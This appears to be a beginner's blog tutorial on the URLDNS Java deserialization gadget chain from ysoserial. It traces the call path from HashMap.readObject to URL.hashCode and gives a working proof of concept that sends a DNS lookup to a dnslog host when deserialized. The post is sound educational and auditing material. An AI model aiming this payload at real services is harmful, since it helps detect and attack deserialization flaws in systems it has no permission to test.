URLDNS deserialization chain

The deserialization of java is probably caused by the readObject method, but the rce caused by the process is still very confused.

But learning directly from CC chain is not very friendly to novices. So today, learn about the deserialization process from the simplest urldngadget in ysoserial.jar.

The URL.class used this time is provided by jdk and does not need to rely on a third party. The whole utilization chain is relatively simple and suitable for novices to practice

According to the poc of ysoserial class, it is self adapted below

The picture above is Jing, and the effect picture below is

serialization class

Deserialization class

Execute the main method in the deserialization class, as shown in the figure below. You can see that dnslog has received the request

Next, start to analyze how this chain goes

The three most important classes in the code are HashMap, URL and URLStreamHandler. HashMap rewrites the readObject method. In the URL class, a hashcode () method is called by HashMap's readObject (). In the URLStreamHandler class, getHostAddress is called by the hashcode () method in the URL class. This forms a call chain HashMap. readObject() --- > HashMap. Putval() --- > HashMap. Hash() --- > URL. hashCode()

Continue to look down. The for loop deserializes the key and value of the map, and finally enters the putVal method

We follow up the hash(key) method. We can see that an Object type key is passed in. If the key is empty, it returns 0. If it is not empty, enter the key.hashCode() method

At this point, we need to note that the hash method in the figure above passes in an Object type. What if we pass in a URL class? Let's see if the URL class has a hashCode() method. If so, we can continue to the next step according to the key.hashCode() method

The figure above says hashCode! =- 1, the hashCode is returned directly, and the hashCode value of the URL class is defined as - 1 by default. If it is equal to - 1, then go on. Let's continue to look at the hashCode(this) method

Now that you have analyzed the calling process of the whole chain, the next step is to write poc to implement it

package com.zyp.test;

import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class UrlDnsSerializeTest {
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("serialize.bin"));
        oos.writeObject(obj);
    }
    public static Object unSerialize(File file) throws Exception {
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(file));
        Object o = ois.readObject();
        return o;
    }

    public static void main(String[] args) throws Exception {
        HashMap<Object,Object> hashMap=new HashMap<>();
        URL url=new URL("http://serialize.zxz7y3.dnslog.cn");
        //In order that the following put method does not execute the getHostAddress method in the URL class, use reflection technology to obtain the hashCode attribute of the URL class and change its original value
        Class c=  url.getClass();
        //Get use property hashCode
        Field hashCode = c.getDeclaredField("hashCode");
        hashCode.setAccessible(true);
        //The hashCode here is changed to 111 to avoid entering the getHostAddress method
        hashCode.set(url,111);
        hashMap.put(url,1);
        //After hashMap executes the hashCode() of the URL class, set the hashCode value of the URL class to - 1 through reflection, and enter the getHostAddress method during deserialization
        hashCode.set(url,-1);
        serialize(hashMap);
        File file=new File("serialize.bin");
        unSerialize(file);
    }

}

Suddenly, a problem is found. The put method of HashMap also calls putVal()

When we serialize, there should be dns requests. Indeed, if we do not do other processing, there will be dns requests during serialization. So look at the poc. It changes the value of hashCode through reflection before put. Make it not equal to - 1 so that you do not enter the getHostAddress method

Audit ideas

The following conditions need to be met

1. If it is a Java Native class, the entry class needs to have a readObject method and implement the serialization interface

2. You need to have final execution functions (you can execute code or commands), such as getRuntime.exec, getHostAddress... And so on. These functions need to be collected by yourself, which will be more convenient for auditing

Posted on Mon, 06 Dec 2021 19:53:35 -0500 by blkraven